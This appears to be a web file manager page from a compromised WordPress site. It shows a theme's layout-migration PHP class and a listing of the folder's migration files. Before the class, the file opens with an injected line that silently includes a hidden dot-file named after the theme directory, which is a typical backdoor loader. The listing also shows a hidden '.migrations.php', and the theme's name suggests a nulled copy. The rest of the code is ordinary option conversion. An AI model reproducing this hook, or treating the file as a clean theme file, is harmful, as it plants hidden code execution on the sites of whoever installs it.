PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_3_3 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_us_blog( &$name, &$params, &$content ) { $changed = FALSE; if ( ! empty( $params['layout'] ) AND $params['layout'] == 'masonry' ) { $params['layout'] = 'flat'; $params['masonry'] = 1; $changed = TRUE; } if ( ! empty( $params['layout'] ) AND $params['layout'] == 'cards' ) { $params['masonry'] = 1; $changed = TRUE; } return $changed; } // Options public function translate_theme_options( &$options ) { $changed = FALSE; if ( isset( $options['blog_layout'] ) AND $options['blog_layout'] == 'masonry' ) { $options['blog_layout'] = 'flat'; $options['blog_masonry'] = 1; $changed = TRUE; } if ( isset( $options['blog_layout'] ) AND $options['blog_layout'] == 'cards' ) { $options['blog_masonry'] = 1; $changed = TRUE; } if ( isset( $options['archive_layout'] ) AND $options['archive_layout'] == 'masonry' ) { $options['archive_layout'] = 'flat'; $options['archive_masonry'] = 1; $changed = TRUE; } if ( isset( $options['archive_layout'] ) AND $options['archive_layout'] == 'cards' ) { $options['archive_masonry'] = 1; $changed = TRUE; } if ( isset( $options['search_layout'] ) AND $options['search_layout'] == 'masonry' ) { $options['search_layout'] = 'flat'; $options['search_masonry'] = 1; $changed = TRUE; } if ( isset( $options['search_layout'] ) AND $options['search_layout'] == 'cards' ) { $options['search_masonry'] = 1; $changed = TRUE; } return $changed; } public function translate_meta( &$meta, $post_type ) { $changed = FALSE; $translate_meta_for = array( 'post', 'page', 'us_portfolio', 'product', ); if ( ! in_array( $post_type, $translate_meta_for ) ) { return $changed; } // Titlebar image overlay if ( isset( $meta['us_titlebar_overlay_color'][0] ) AND isset( $meta['us_titlebar_overlay_opacity'][0] ) AND ( $meta['us_titlebar_overlay_opacity'][0] > 0 ) ) { $meta['us_titlebar_overlay_color'][0] = $this->hex2rgba( $meta['us_titlebar_overlay_color'][0], $meta['us_titlebar_overlay_opacity'][0] / 100 ); $meta['us_titlebar_overlay_opacity'][0] = 0; $changed = TRUE; } // Portfolio lighbox if ( isset( $meta['us_lightbox'][0] ) AND $meta['us_lightbox'][0] == TRUE ) { $meta['us_tile_action'][0] = 'lightbox'; $meta['us_lightbox'][0] = FALSE; $changed = TRUE; } // Portfolio custom link if ( isset( $meta['us_custom_link'][0] ) AND $meta['us_custom_link'][0] != '' ) { $meta['us_tile_action'][0] = 'link'; $value = array( 'url' => $meta['us_custom_link'][0], 'target' => '', ); if ( isset( $meta['us_custom_link_blank'][0] ) AND $meta['us_custom_link_blank'][0] == TRUE ) { $value['target'] = '_blank'; } $meta['us_tile_link'][0] = json_encode( $value ); $meta['us_custom_link'][0] = ''; $meta['us_custom_link_blank'][0] = FALSE; $changed = TRUE; } return $changed; } /** * Convert HEX value of color to RGBA format. Credits: http://mekshq.com/how-to-convert-hexadecimal-color-code-to-rgb-or-rgba-using-php/ * * @param $color * @param bool|FALSE $opacity * * @return string */ private function hex2rgba( $color, $opacity = FALSE ) { $default = 'rgb(0,0,0)'; //Return default if no color provided if ( empty( $color ) ) { return $default; } //Sanitize $color if "#" is provided if ( $color[0] == '#' ) { $color = substr( $color, 1 ); } //Check if color has 6 or 3 characters and get values if ( strlen( $color ) == 6 ) { $hex = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5] ); } elseif ( strlen( $color ) == 3 ) { $hex = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] ); } else { return $default; } //Convert hexadec to rgb $rgb = array_map( 'hexdec', $hex ); //Check if opacity is set(rgba or rgb) if ( $opacity ) { if ( abs( $opacity ) > 1 ) { $opacity = 1.0; } $output = 'rgba(' . implode( ",", $rgb ) . ',' . $opacity . ')'; } else { $output = 'rgb(' . implode( ",", $rgb ) . ')'; } //Return rgb(a) color string return $output; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]